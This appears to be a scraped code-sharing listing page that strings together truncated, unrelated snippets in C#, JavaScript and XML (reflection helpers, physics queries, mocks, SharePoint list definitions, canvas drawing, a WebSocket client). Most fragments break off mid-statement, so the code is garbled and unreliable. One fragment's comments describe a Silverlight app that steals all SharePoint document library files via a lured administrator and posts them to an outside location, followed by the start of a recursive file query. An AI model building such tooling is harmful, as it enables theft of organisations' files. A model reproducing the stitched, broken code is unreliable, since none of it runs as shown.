Skip to content

Instantly share code, notes, and snippets.

internal static class AssemblyExtension
{
#region Methods: public
public static object CreateInstance(this Assembly self, string typeName, params object[] args)
{
try
{
return Activator.CreateInstance(self.GetType(typeName, true), args, null);
}
namespace ConsoleTest
{
using System;
using System.Collections;
using System.Collections.Generic;
internal class Program
{
#region Methods: private
(function () {
function getBodyAtXY(world, x, y, includeStatic) {
var pos = new b2Vec2();
pos.Set(x, y);
var aabb = new b2AABB();
aabb.lowerBound.Set(x - 0.001, y - 0.001);
aabb.upperBound.Set(x + 0.001, y + 0.001);
var maxShapes = 10;
var shapes = [];
var count = world.Query(aabb, shapes, maxShapes);
var mock = new Mock<MemoryStream>();
mock
.Setup(x => x.Read(It.IsAny<byte[]>(), It.IsAny<int>(), It.IsAny<int>()))
.Callback((byte[] array, int offset, int length) => Console.Out.WriteLine(array == null));
mock.Object.Read(new byte[1], 1, 2);
string xml = @"
<root xmlns='http://www.w3.org/TR/html4/' xmlns:h='http://www.w3.org/TR/html4/' xmlns:f='http://www.w3schools.com/furniture'>
<h:table><h:tr><h:td>Apples</h:td><h:td>Bananas</h:td></h:tr></h:table><f:table><f:name>African Coffee Table</f:name>
<f:width>80</f:width><f:length>120</f:length></f:table></root>";
XElement x = XElement.Parse(xml);
(from node in x.DescendantsAndSelf()
where node is XElement
from attr in node.Attributes()
where attr.IsNamespaceDeclaration && attr.Name.LocalName == "xmlns"
select attr).All(attr => { attr.Remove(); return true; });
class Program
{
static void Main(string[] args)
{
Console.Out.WriteLine("Baking cookies");
BakeCookies();
Console.Out.WriteLine("Cookies baked");
Console.ReadLine();
}
// A user with the privileges / ability to ...
// - upload a file to a single document library
// - edit one shared page, to add a silverlight webpart
// - lure an administrator to visit said page
// .. can, using this Silverlight app, steal all (document library) files on
// the SharePoint server, and post them to some nasty location.
var q = new CamlQuery { ViewXml = "<View Scope='Recursive'/>" };
IEnumerable<List> lists =
ClientContext.Current.LoadQuery(
<?xml version="1.0" encoding="utf-8"?>
<Elements xmlns="http://schemas.microsoft.com/sharepoint/">
<ListInstance Title="Portfolios"
OnQuickLaunch="TRUE"
TemplateType="10001"
FeatureId="59abaf93-f315-4c64-a7e3-e6402e05191c"
Url="Lists/Portfolios"
Description="List containing the available project portfolios">
<Data>
<Rows>
var circleCenterPt = new paper.Point(150, 300);
var circleRadius = 75;
var sineWaveLength = 300;
var cosineWaveLength = 300;
paper.setup($('canvas')[0]);
var sineWaveStep = sineWaveLength/360;
var cosineWaveStep = cosineWaveLength/360;
var angle = 0;
var WebSocket = require('ws')
, ws = new WebSocket('ws://www.host.com/path');
ws.on('open', function() {
ws.send('something');
});
ws.on('message', function(message) {
console.log('received: %s', message);
});